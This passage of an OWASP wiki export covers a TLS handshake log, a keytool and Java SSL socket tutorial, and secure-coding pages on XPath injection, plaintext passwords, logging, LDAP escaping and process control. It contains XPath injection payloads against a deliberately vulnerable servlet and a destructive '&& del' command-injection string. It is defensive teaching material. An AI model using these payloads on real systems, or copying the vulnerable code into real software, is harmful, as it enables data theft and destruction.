0010: D6 F8 F1 0F A5 5E 75 0F 4F 3D 5B 56 2C 6A 24 FD .....^u.O=[V,j$.
0020: 4A 90 D4 3A F3 3F 7E 22 D2 00 18 3B 7D 3F CD 02 J..:.?."...;.?..
0030: 0C E1 11 7C 12 59 D8 A3 85 8D CB 23 B7 90 1C 59 .....Y.....#...Y
0040: 94 65 5F 7E 8E 46 6D A9 7D FC 54 5D 81 DC 69 82 .e_..Fm...T]..i.
0050: 1A EE 1A A5 F1 52 66 A6 43 34 EE E0 F7 12 36 CF .....Rf.C#...#
0060: 7A 38 48 5A C9 8E 11 CB AE 7A 36 2D FD 0B CD 1A z8HZ.....z6-....
0070: 0B F1 45 1E C6 71 D9 57 39 80 75 BF D6 68 43 15 ..E..q.W#u..hC.
0080: FE 4D 67 DC 2F BD .Mg./.
[Raw read]: length = 5
0000: 14 03 01 00 01 .....
[Raw read]: length = 1
0000: 01 .
main, READ: TLSv1 Change Cipher Spec, length = 1
[Raw read]: length = 5
0000: 16 03 01 00 20 ....
[Raw read]: length = 32
0000: C7 D8 CC 69 F7 F7 7F 00 29 F6 23 C8 DD 11 50 33 ...i....).#...P3
0010: 89 BB 91 21 BD 05 24 8C 5B 77 33 9D 78 0A B4 3C ...!..$.[w#x..<
main, READ: TLSv1 Handshake, length = 32
Padded plaintext after DECRYPTION: len = 32
0000: 14 00 00 0C 01 B0 24 0D BC AD E7 E9 DC CB E4 17 ......$.........
0010: F9 FF 44 03 B2 00 37 12 9C A2 16 62 2E 9E 3C 33 ..D...#...b..<3
*** Finished
verify_data: { 1, 176, 36, 13, 188, 173, 231, 233, 220, 203, 228, 23 }

Server responds back with a “change cipher spec” message and updates its session and connection information accordingly and sends a finish message.
SESSION KEYGEN:
PreMaster Secret:
0000: 03 01 A1 25 05 11 9A CA 49 21 4B 32 3D F2 2C FC ...%....I!K2=.,.
0010: E8 50 A1 B9 02 3D 9A 36 B1 C0 8D EB 5F AE DB D8 .P...=.#..._...
0020: FB 96 BD 63 BC B4 0F FD 1C A8 55 7C 11 7C DA 65 ...c......U....e
CONNECTION KEYGEN:
Client Nonce:
0000: 45 73 A6 71 FA 14 8E E7 8F 4E 48 34 FE 2E C7 27 Es.q.....NH#..'
0010: 92 17 EE 05 6C AB 4B C0 4E AD 1A 97 59 56 3A C5 ....l.K.N...YV:.
Server Nonce:
0000: 45 73 A6 71 21 5B 4E BD 9C B7 8E FD 77 9B 16 C1 Es.q![N.....w...
0010: 2E 00 32 99 A8 AA 13 DC 44 61 62 03 24 E4 67 75 ..#....Dab.$.gu
Master Secret:
0000: B5 AF 35 36 65 B8 2E A9 F0 5C C1 A7 BD 85 98 92 ..56e....\......
0010: 64 61 B6 B9 7D 86 AB C7 72 CA 67 9A E1 C1 C4 3F da......r.g....?
0020: C5 8B 67 1A 49 C9 6E B2 FC AB 65 96 EA 7E 67 8C ..g.I.n...e...g.
Client MAC write Secret:
0000: A4 C0 36 E3 9A D3 8B 67 AA 51 D6 78 59 BF 0A 5E ..#...g.Q.xY..^
Server MAC write Secret:
0000: F7 D0 65 1D 4C 0E 81 0F 1F 76 86 D7 91 68 37 50 ..e.L....v...h7P
Client write key:
0000: A6 C5 F0 7D FE 1C 0E 58 85 00 A5 02 AE 08 B5 0E .......X........
Server write key:
0000: 20 D3 07 A2 02 02 34 67 2C C3 5A 50 7C 0F 87 CB .....4g,.ZP....
... no IV for cipher
main, WRITE: TLSv1 Change Cipher Spec, length = 1
[Raw write]: length = 6
0000: 14 03 01 00 01 01 ......
*** Finished
verify_data: { 1, 176, 36, 13, 188, 173, 231, 233, 220, 203, 228, 23 }
</pre>
Once the handshake is complete, secure communication can commence.

==The Need for Keytool==
The server needs to generate a certificate and a private key associated with its certificate. This certificate would be sent to the clients who wishes to communicate with the server. These functionalities of Key generation, Key management , certificate management are taken care by a tool provided by Sun known as keytool. Keytool uses keystores to store the public / private keys as well as certificates.
keystores are datastores implemented as files. Private keys are protected with passwords.

===Algorithms supported by Keytool===
Keytool supports any algorithm implemented by the registered cryptographic service providers. Default key pair generation algorithm is DSA with a keysize of 1024 bits. The signature algorithm is derived from the algorithm of the private keys. DSA gets coupled with SHA1 by default and so "SHA1withDSA" would be used. RSA gets coupled with MD5 and so "MD5withRSA" would be used.

===Some of the frequently used functions of keytool are:===
==== Generating keys using keytools====
Key pairs can be generated using keytool with the following command and options
<pre>
$bash # keytool -genkey -alias testkey -keystore testkeystore.ks
Enter keystore password: testpwd
What is your first and last name?
[Unknown]: Tom
What is the name of your organizational unit?
[Unknown]: security
What is the name of your organization?
[Unknown]: ABC Inc
What is the name of your City or Locality?
[Unknown]: Fort Meade
What is the name of your State or Province?
[Unknown]: MA
What is the two-letter country code for this unit?
[Unknown]: US
Is CN=Tom, OU=security, O=ABC Inc, L=Fort Meade, ST=MA, C=US correct?
[no]: y

Enter key password for <testkey>
(RETURN if same as keystore password):
</pre>
* The option ''-genkey'' is used to generate the keys.
* ''-alias'' specifies the name of the key. This can be verified by the command keytool -list -keystore testkeystore.ks
* ''-keystore'' is the name of the keystore to where the key needs to be added. If no keystore name is specified, the generated keys will be added to the default keystore. The default keystore gets autogenerated when the first key is created and is located in the users home directory with an ".keystore" extension.<br>

The following defaults would be applied during the genkey process:
* keyalg - defaults to DSA
* keysize - defaults to 1024 bits
* validity - defaults to 90 days

====Importing certificates into keystore from .cer files====
A certificate represented usually by a .cer file is imported into the keystore so that it gets added to the list of trusted certificates.
<pre>
$bash # keytool -import -keystore testkeystore.ks -file ssltest.cer
Enter keystore password: testpwd
Owner: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US
Issuer: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US
Serial number: 45697b96
Valid from: Sun Nov 26 06:33:42 EST 2006 until: Wed Apr 12 07:33:42 EDT 2034
Certificate fingerprints:
MD5: BD:AA:A5:77:AC:92:17:0E:D3:6E:E2:8F:2B:12:A5:6C
SHA1: 2F:BF:88:E1:2F:26:B9:C3:64:5E:C5:7F:F4:BF:43:7F:37:3D:BE:C5
Trust this certificate? [no]: yes
Certificate was added to keystore
</pre>
The certificate ssltest.cer is successfully imported into the keystore. The serial number generated is unique to this certificate and is useful during certificate revocations. When a certificate is revoked, the serial number gets added to the CRL (Certificate revocation list).
'''Warning:'''
'''Before importing a certificate, validate if the certificate really belongs to the entity it claims to represent.'''
====Use the keytool -printcert -file ssltest.cer to view the contents of the certificate====
<pre>
$bash # keytool -printcert -file ssltest.cer
Owner: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US
Issuer: CN=Jane P, OU=Network Admins, O=NewCo, L=Denver, ST=CO, C=US
Serial number: 45697b96
Valid from: Sun Nov 26 06:33:42 EST 2006 until: Wed Apr 12 07:33:42 EDT 2034
Certificate fingerprints:
MD5: BD:AA:A5:77:AC:92:17:0E:D3:6E:E2:8F:2B:12:A5:6C
SHA1: 2F:BF:88:E1:2F:26:B9:C3:64:5E:C5:7F:F4:BF:43:7F:37:3D:BE:C5

# Verify from the Issuer of the certificate if the Certificate fingerprint matches.
</pre>

==== Exporting certificates from keystore to files====
To export a certificate from a keystore to a file, the following command could be used
<pre>
$bash # keytool -export -alias testkey -keystore testkeystore.ks -file testkey.cer
Enter keystore password: testpwd
Certificate stored in file <testkey.cer>
Now you can verify the contents of the exported certificate using the command.
$bash # keytool -printcert -file testkey.cer
Owner: CN=Tom, OU=security, O=ABC Inc, L=Fort Meade, ST=MA, C=US
Issuer: CN=Tom, OU=security, O=ABC Inc, L=Fort Meade, ST=MA, C=US
Serial number: 45736152
Valid from: Sun Dec 03 18:44:18 EST 2006 until: Sat Mar 03 18:44:18 EST 2007
Certificate fingerprints:
MD5: 8F:D3:EA:E7:B0:CF:9C:03:16:2F:3F:C9:6C:BC:5A:D4
SHA1: 03:2B:C6:BD:D9:82:31:08:F1:88:3C:35:AD:8D:F9:C3:90:5E:53:6F
</pre>
==Examples==
===SSLClient.java===
<pre>
package org.owasp.crypto;

import java.io.*;

import javax.net.ssl.*;
import com.sun.net.ssl.*;
import com.sun.net.ssl.internal.ssl.Provider;
import java.security.Security;

/**
* @author Joe Prasanna Kumar
* This program simulates a client socket program which communicates with the SSL Server
*
* Algorithm:
* 1. Determine the SSL Server Name and port in which the SSL server is listening
* 2. Register the JSSE provider
* 3. Create an instance of SSLSocketFactory
* 4. Create an instance of SSLSocket
* 5. Create an OutputStream object to write to the SSL Server
* 6. Create an InputStream object to receive messages back from the SSL Server
*
*/

public class SSLClient {

/**
* @param args
*/
public static void main(String[] args) throws Exception{
String strServerName = "localhost"; // SSL Server Name
int intSSLport = 4443; // Port where the SSL Server is listening
PrintWriter out = null;
BufferedReader in = null;

{
// Registering the JSSE provider
Security.addProvider(new Provider());
}

try {
// Creating Client Sockets
SSLSocketFactory sslsocketfactory = (SSLSocketFactory)SSLSocketFactory.getDefault();
SSLSocket sslSocket = (SSLSocket)sslsocketfactory.createSocket(strServerName,intSSLport);

// Initializing the streams for Communication with the Server
out = new PrintWriter(sslSocket.getOutputStream(), true);
in = new BufferedReader(new InputStreamReader(sslSocket.getInputStream()));

BufferedReader stdIn = new BufferedReader(new InputStreamReader(System.in));
String userInput = "Hello Testing ";
out.println(userInput);

while ((userInput = stdIn.readLine()) != null) {
out.println(userInput);
System.out.println("echo: " + in.readLine());
}

out.println(userInput);

// Closing the Streams and the Socket
out.close();
in.close();
stdIn.close();
sslSocket.close();
}

catch(Exception exp)
{
System.out.println(" Exception occurred .... " +exp);
exp.printStackTrace();
}

}

}
</pre>

===SSLServer.java===
<pre>
package org.owasp.crypto;

import java.io.*;
import java.security.Security;
import java.security.PrivilegedActionException;

import javax.net.ssl.*;
import com.sun.net.ssl.*;
import com.sun.net.ssl.internal.ssl.Provider;

/**
* @author Joe Prasanna Kumar
* This program simulates an SSL Server listening on a specific port for client requests
*
* Algorithm:
* 1. Regsiter the JSSE provider
* 2. Set System property for keystore by specifying the keystore which contains the server certificate
* 3. Set System property for the password of the keystore which contains the server certificate
* 4. Create an instance of SSLServerSocketFactory
* 5. Create an instance of SSLServerSocket by specifying the port to which the SSL Server socket needs to bind with
* 6. Initialize an object of SSLSocket
* 7. Create InputStream object to read data sent by clients
* 8. Create an OutputStream object to write data back to clients.
*
*/

public class SSLServer {

/**
* @param args
*/

public static void main(String[] args) throws Exception{

int intSSLport = 4443; // Port where the SSL Server needs to listen for new requests from the client

{
// Registering the JSSE provider
Security.addProvider(new Provider());

//Specifying the Keystore details
System.setProperty("javax.net.ssl.keyStore","server.ks");
System.setProperty("javax.net.ssl.keyStorePassword","JsEkey@4");

// Enable debugging to view the handshake and communication which happens between the SSLClient and the SSLServer
// System.setProperty("javax.net.debug","all");
}

try {
// Initialize the Server Socket
SSLServerSocketFactory sslServerSocketfactory = (SSLServerSocketFactory)SSLServerSocketFactory.getDefault();
SSLServerSocket sslServerSocket = (SSLServerSocket)sslServerSocketfactory.createServerSocket(intSSLport);
SSLSocket sslSocket = (SSLSocket)sslServerSocket.accept();

// Create Input / Output Streams for communication with the client
while(true)
{
PrintWriter out = new PrintWriter(sslSocket.getOutputStream(), true);
BufferedReader in = new BufferedReader(
new InputStreamReader(
sslSocket.getInputStream()));
String inputLine, outputLine;

while ((inputLine = in.readLine()) != null) {
out.println(inputLine);
System.out.println(inputLine);
}

// Close the streams and the socket
out.close();
in.close();
sslSocket.close();
sslServerSocket.close();

}
}

catch(Exception exp)
{
PrivilegedActionException priexp = new PrivilegedActionException(exp);
System.out.println(" Priv exp --- " + priexp.getMessage());

System.out.println(" Exception occurred .... " +exp);
exp.printStackTrace();
}

}

}

</pre>

==References==
* Computer Security – Arts and Science - Matt Bishop
* Core Security Patterns – Christopher Steele, Ray Lai and Ramesh Nagappan
* http://java.sun.com/j2se/##2/docs/tooldocs/windows/keytool.html
* http://blogs.borland.com/krish/archive/2005/07/28/#aspx

[[Category:Java]]

XPATH Injection Java

2017-11-10T21:50:32Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

Last revision (mm/dd/yy): '''08/14/2016'''

== Injection context ==
Some applications use XML based datastore and sometimes XPATH query language to retrieve data from theses stores. The application can construct XPATH query expression from user input in order to select user dedicated data.

== Injection objective ==
The objective of the injection is to submit a piece of XPATH language that will change the normal behavior of the target expression in order to retrieve more or differents data than expected.

== Injection examples ==
For the examples we will take a case of an application that store employees informations using XML store with this structure:
<pre>
<?xml version="1.0" encoding="utf-8"?>
<employees>
<employee id="AS789" firstname="John" lastname="Doo" annualsalary="70000"/>
<employee id="AS719" firstname="Isabela" lastname="Dobora" annualsalary="90000"/>
<employee id="AS219" firstname="Eric" lastname="Lambert" annualsalary="65000"/>
</employees>
</pre>

The XPATH expression to select an employee node used by application is:
<pre>
/employees/employee[@id='EMPLOYEE_ID']
</pre>

The code (JavaEE6 Servlet for example) used to perform selection is:
<pre>
package org.owasp.javaproject.xpathinjection;

import java.io.IOException;
import java.io.StringReader;
import java.util.List;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

import org.jaxen.XPath;
import org.jaxen.dom.DOMXPath;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.xml.sax.InputSource;

/**
* Sample service to retrieve employees salary
*/
@SuppressWarnings("serial")
@WebServlet("/EmployeesSalaryService")
public class EmployeesSalaryService extends HttpServlet {

private static final String DATASOURCE_XML = "Put XML Structure above here";

/**
* {@inheritDoc}
*
* @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
*/
@SuppressWarnings("rawtypes")
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
// For the sample we load the XML Document at each request but this not a good way for real application.....
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(DATASOURCE_XML)));

// Retrieve employee ID from the input HTTP request
String eID = request.getParameter("employeeID");
if (eID == null) {
eID = "";
}

// Create XPATH expression
String xpathExpr = "/employees/employee[@id='" + eID + "']";
XPath expression = new DOMXPath(xpathExpr);

// Apply expression on XML document
List nodes = expression.selectNodes(doc);
for (int i = 0; i < nodes.size(); i++) {
Element employee = (Element) nodes.get(i);
response.getWriter().print(employee.getAttribute("lastname")
+ " "
+ employee.getAttribute("firstname")
+ " : "
+ employee.getAttribute("annualsalary")
+ "<br>");
}
} catch (Exception e) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
e.printStackTrace();
}
}

}
</pre>

Here the sensitive information is the annual salary then it's will be the target of the injection.

The application expect to receive, for the employee ID, an value like "AS789" but what is the application behavior if a user submit another value pattern ?

Sample value n°1:
<pre>'%20or%20'1'='1</pre>
'''Result''':
All employees nodes are selected (in this case the user do not known the XML structure).

[[File:XPATHInjection01.png]]

Sample value n°2:
<pre>'%20or%20fn:contains(fn:lower-case(@lastname),'dobora')%20or%20'</pre>
'''Result''':
Employee where the last name contains "dobora" is selected (in this case the user has guessed the XML structure).

[[File:XPATHInjection02.png]]

== Injection countermeasure n°1 ==
Input used into an XPATH expression must not contains any of the characters below:
<pre>( ) = ' [ ] : , * / WHITESPACE</pre>

According to our example context, the modification to apply could be to create an application transversal utility method checking the presence of characters above and rejecting the value submitted if it's contains any one.

Checking utility method example:
<pre>
public boolean checkValueForXpathInjection(String value) throws Exception {
boolean isValid = true;
if ((value != null) && !"".equals(value)) {
String xpathCharList = "()='[]:,*/ ";
// Always to avoid encoding evading....
String decodedValue = URLDecoder.decode(value, Charset.defaultCharset().name());
for (char c : decodedValue.toCharArray()) {
if (xpathCharList.indexOf(c) != -1) {
isValid = false;
break;
}
}
}
return isValid;
}
</pre>

Checking utility use example:
<pre>
/**
* {@inheritDoc}
*
* @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
*/
@SuppressWarnings("rawtypes")
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {

// Check input
if (!checkValueForXpathInjection(request.getParameter("employeeID"))) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
// Trace injection
// Exit
return;
}

.....

}
} catch (Exception e) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
e.printStackTrace();
}
}
</pre>

== Injection countermeasure n°2 ==
Using variable into XPATH expression with a variable resolver enabled evaluator can help to prevent injections (like prepared statement for SQL injection).

Example of variable resolver:
<pre>
package org.owasp.javaproject.xpathinjection;

import java.util.HashMap;
import java.util.Map;

import javax.xml.namespace.QName;
import javax.xml.xpath.XPathVariableResolver;

/**
* Resolver in order to define parameter for XPATH expression.
*
*/
@SuppressWarnings("static-method")
public class SimpleVariableResolver implements XPathVariableResolver {

private final Map<QName, Object> vars = new HashMap<QName, Object>();

/**
* External methods to add parameter
*
* @param name Parameter name
* @param value Parameter value
*/
public void addVariable(QName name, Object value) {
vars.put(name, value);
}

/**
* {@inheritDoc}
*
* @see javax.xml.xpath.XPathVariableResolver#resolveVariable(javax.xml.namespace.QName)
*/
@Override
public Object resolveVariable(QName variableName) {
return vars.get(variableName);
}

}
</pre>

Example of use of the variable resolver:
<pre>
/**
* {@inheritDoc}
*
* @see javax.servlet.http.HttpServlet#doGet(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)
*/
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {

// For the sample we load the XML Document at each request but
//this not a good way for real application.....
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(DATASOURCE_XML)));

// Retrieve employee ID from the input HTTP request
String eID = request.getParameter("employeeID");
if (eID == null) {
eID = "";
}

// Create and configure parameter resolver
SimpleVariableResolver variableResolver = new SimpleVariableResolver();
variableResolver.addVariable(new QName("eID"), eID);

// Create and configure XPATH expression
XPath xpath = XPathFactory.newInstance().newXPath();
xpath.setXPathVariableResolver(variableResolver);
XPathExpression xPathExpression = xpath.compile("/employees/employee[@id=$eID]");

// Apply expression on XML document
Object nodes = xPathExpression.evaluate(doc, XPathConstants.NODESET);
NodeList nodesList = (NodeList) nodes;
for (int i = 0; i < nodesList.getLength(); i++) {
Element employee = (Element) nodesList.item(i);
response.getWriter().print(employee.getAttribute("lastname")
+ " " + employee.getAttribute("firstname") + " : "
+ employee.getAttribute("annualsalary") + "<br>");
}
}
catch (Exception e) {
response.sendError(HttpServletResponse.SC_BAD_REQUEST);
e.printStackTrace();
}
}
</pre>

[[Category:Java]]
[[Category:Injection Attack]]

Password Plaintext Storage

2017-11-10T21:49:53Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

Storing a password in plaintext may result in a system compromise.

Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource. Developers sometimes believe that they cannot defend the application from someone who has access to the configuration, but this attitude makes an attacker's job easier. Good password management guidelines require that a password never be stored in plaintext.

==Risk Factors==

TBD

==Examples==

The following code reads a password from a properties file and uses the password to connect to a database.

<pre>
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = prop.getProperty("password");

DriverManager.getConnection(url, usr, password);
...
</pre>

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Password Management Countermeasure]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

TBD

[[Category:FIXME|add links

In addition, one should classify vulnerability based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Vulnerability]]</nowiki>

Availability Vulnerability

Authorization Vulnerability

Authentication Vulnerability

Concurrency Vulnerability

Configuration Vulnerability

Cryptographic Vulnerability

Encoding Vulnerability

Error Handling Vulnerability

Input Validation Vulnerability

Logging and Auditing Vulnerability

Session Management Vulnerability]]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Sensitive Data Protection Vulnerability]]
[[Category:Java]]
[[Category:Code Snippet]]
[[Category:Password Management Vulnerability]]
[[Category:Vulnerability]]

Poor Logging Practice

2017-11-10T21:49:20Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

===Logger Not Declared Static Final===
Loggers should be declared to be static and final.

It is good programming practice to share a single logger object between all of the instances of a particular class and to use the same logger for the duration of the program.

The following statement errantly declares a non-static logger.

<pre>
private final Logger logger =
Logger.getLogger(MyClass.class);
</pre>

===Poor Logging Practice: Multiple Loggers===
It is a poor logging practice to use multiple loggers rather than logging levels in a single class.

Good logging practice dictates the use of a single logger that supports different logging levels for each class.

The following code errantly declares multiple loggers.

<pre>
public class MyClass {
private final static Logger good =
Logger.getLogger(MyClass.class);
private final static Logger bad =
Logger.getLogger(MyClass.class);
private final static Logger ugly =
Logger.getLogger(MyClass.class);
...
}

</pre>

===Use of a System Output Stream===
Using System.out or System.err rather than a dedicated logging facility makes it difficult to monitor the behavior of the program. It can also cause log messages accidentally returned to the end users, revealing internal information to attackers.

The first Java program that a developer learns to write often looks like this:

<pre>
public class MyClass
public static void main(String[] args) {
System.out.println("hello world");
}
}
</pre>

While most programmers go on to learn many nuances and subtleties about Java, a surprising number hang on to this first lesson and never give up on writing messages to standard output using System.out.println().

The problem is that writing directly to standard output or standard error is often used as an unstructured form of logging. Structured logging facilities provide features like logging levels, uniform formatting, a logger identifier, timestamps, and, perhaps most critically, the ability to direct the log messages to the right place. When the use of system output streams is jumbled together with the code that uses loggers properly, the result is often a well-kept log that is missing critical information. In addition, using system output streams can also cause log messages accidentally returned to end users, revealing application internal information to attackers.

Developers widely accept the need for structured logging, but many continue to use system output streams in their "pre-production" development. If the code you are reviewing is past the initial phases of development, use of System.out or System.err may indicate an oversight in the move to a structured logging system.

==Risk Factors==

TBD

==Examples==

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Control 1]]
* [[Control 2]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:

* [http://cwe.mitre.org/data/definitions/79.html CWE 79].
* http://www.link1.com
* [http://www.link2.com Title for the link2]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Code Quality Vulnerability]]
[[Category:Java]]
[[Category:Implementation]]
[[Category:Code Snippet]]
[[Category:Logging and Auditing Vulnerability]]
[[Category:Vulnerability]]

Preventing LDAP Injection in Java

2017-11-10T21:48:52Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{taggedDocument
| type=old
| lastRevision=2008-03-01
| comment=Please visit https://www.owasp.org/index.php/LDAP_Injection_Prevention_Cheat_Sheet
}}

==Approach==
The best way to prevent LDAP injection is to use a positive validation scheme for ensuring that the data going into your queries doesn't contain any attacks. You can read more in [[:Category:OWASP Guide Project|the OWASP Development Guide]] about input validation.

However, in some cases, it is necessary to include special characters in input that is passed into an LDAP query. In this case, using escaping can prevent the LDAP interpreter from thinking those special characters are actually LDAP query. Rather, the encoding lets the interpreter treat those special characters as data.

Here are a few methods for escaping certain meta-characters in LDAP queries. Both the distinguished name (DN) and the search filter have their own sets of meta-characters. In the case of Java, it is also necessary to escape any JNDI meta-characters, since java uses JNDI to perform LDAP queries.

public static String escapeDN(String name) {
StringBuffer sb = new StringBuffer(); // If using JDK >= 1.5 consider using StringBuilder
if ((name.length() > 0) && ((name.charAt(0) == ' ') || (name.charAt(0) == '#'))) {
sb.append('\\'); // add the leading backslash if needed
}
for (int i = 0; i < name.length(); i++) {
char curChar = name.charAt(i);
switch (curChar) {
case '\\':
sb.append("\\\\");
break;
case ',':
sb.append("\\,");
break;
case '+':
sb.append("\\+");
break;
case '"':
sb.append("\\\"");
break;
case '<':
sb.append("\\<");
break;
case '>':
sb.append("\\>");
break;
case ';':
sb.append("\\;");
break;
default:
sb.append(curChar);
}
}
if ((name.length() > 1) && (name.charAt(name.length() - 1) == ' ')) {
sb.insert(sb.length() - 1, '\\'); // add the trailing backslash if needed
}
return sb.toString();
}

Escaping the search filter:

public static final String escapeLDAPSearchFilter(String filter) {
StringBuffer sb = new StringBuffer(); // If using JDK >= 1.5 consider using StringBuilder
for (int i = 0; i < filter.length(); i++) {
char curChar = filter.charAt(i);
switch (curChar) {
case '\\':
sb.append("\\5c");
break;
case '*':
sb.append("\\2a");
break;
case '(':
sb.append("\\28");
break;
case ')':
sb.append("\\29");
break;
case '\u0000':
sb.append("\\00");
break;
default:
sb.append(curChar);
}
}
return sb.toString();
}

Test class:

//escapeDN
assertEquals("No special characters to escape", "Helloé", escapeDN("Helloé"));
assertEquals("leading #", "\\# Helloé", escapeDN("# Helloé"));
assertEquals("leading space", "\\ Helloé", escapeDN(" Helloé"));
assertEquals("trailing space", "Helloé\\ ", escapeDN("Helloé "));
assertEquals("only 3 spaces", "\\ \\ ", escapeDN(" "));
assertEquals("Christmas Tree DN", "\\ Hello\\\\ \\+ \\, \\\"World\\\" \\;\\ ", Test.escapeDN(" Hello\\ + , \"World\" ; "));

assertEquals("No special characters to escape", "Hi This is a test #çà", SecTool.escapeLDAPSearchFilter("Hi This is a test #çà"));
assertEquals("LDAP Christams Tree", "Hi \\28This\\29 = is \\2a a \\5c test # ç à ô", SecTool.escapeLDAPSearchFilter("Hi (This) = is * a \\ test # ç à ô"));

[[Category:Java]]

Process Control

2017-11-10T21:48:39Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==
Executing commands from an untrusted source or in an untrusted environment can cause an application to execute malicious commands on behalf of an attacker.

Process control vulnerabilities take two forms:

* An attacker can change the command that the program executes: the attacker explicitly controls what the command is.
* An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means.

We will first consider the first scenario, the possibility that an attacker may be able to control the command that is executed. Process control vulnerabilities of this type occur when:

# Data enters the application from an untrusted source.
# The data is used as or as part of a string representing a command that is executed by the application.
# By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

==Risk Factors==

TBD

==Examples==

===Example 1===

The following Java code from a system utility uses the system property APPHOME to determine the directory in which it is installed and then executes an initialization script based on a relative path from the specified directory.

<pre>
...
String home = System.getProperty("APPHOME");
String cmd = home + INITCMD;
java.lang.Runtime.getRuntime().exec(cmd);
...
</pre>

The code in Example 1 allows an attacker to execute arbitrary commands with the elevated privilege of the application by modifying the system property APPHOME to point to a different path containing a malicious version of INITCMD. Because the program does not validate the value read from the environment, if an attacker can control the value of the system property APPHOME, then they can fool the application into running malicious code and take control of the system.

===Example 2===

The following code is from an administrative web application designed to allow users to kick off a backup of an Oracle database using a batch-file wrapper around the rman utility and then run a cleanup.bat script to delete some temporary files. The script rmanDB.bat accepts a single command line parameter, which specifies what type of backup to perform. Because access to the database is restricted, the application runs the backup as a privileged user.

<pre>
...
String btype = request.getParameter("backuptype");
String cmd = new String("cmd.exe /K
\"c:\\util\\rmanDB.bat "+btype+"&&c:\\utl\\cleanup.bat\"")
System.Runtime.getRuntime().exec(cmd);
...
</pre>

The problem here is that the program does not do any validation on the backuptype parameter read from the user. Typically the Runtime.exec() function will not execute multiple commands, but in this case the program first runs the cmd.exe shell first in order to run multiple commands with a single call to Runtime.exec(). Once the shell is invoked, it will happily execute multiple commands separated by two ampersands. If an attacker passes a string of the form "&& del c:\\dbms\\*.*", then the application will execute this command along with the others specified by the program. Because of the nature of the application, it runs with the privileges necessary to interact with the database, which means whatever command the attacker injects will run with those privileges as well.

===Example 3===

The C code below is from a web-based CGI utility that allows users to change their passwords. The password update process under NIS includes running make in the /var/yp directory. Note that since the program updates password records, it has been installed setuid root.

The program invokes make as follows:

<pre>
system("cd /var/yp && make &> /dev/null");
</pre>

Unlike the previous examples, the command in this example is hardcoded, so an attacker cannot control the argument passed to system(). However, since the program does not specify an absolute path for make and does not scrub any environment variables prior to invoking the command, the attacker can modify their $PATH variable to point to a malicious binary named make and execute the CGI script from a shell prompt. And since the program has been installed setuid root, the attacker's version of make now runs with root privileges.

The environment plays a powerful role in the execution of system commands within programs. Functions like system() and exec() use the environment of the program that calls them, and therefore attackers have a potential opportunity to influence the behavior of these calls.

==Related [[Attacks]]==

* [[Command Injection]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

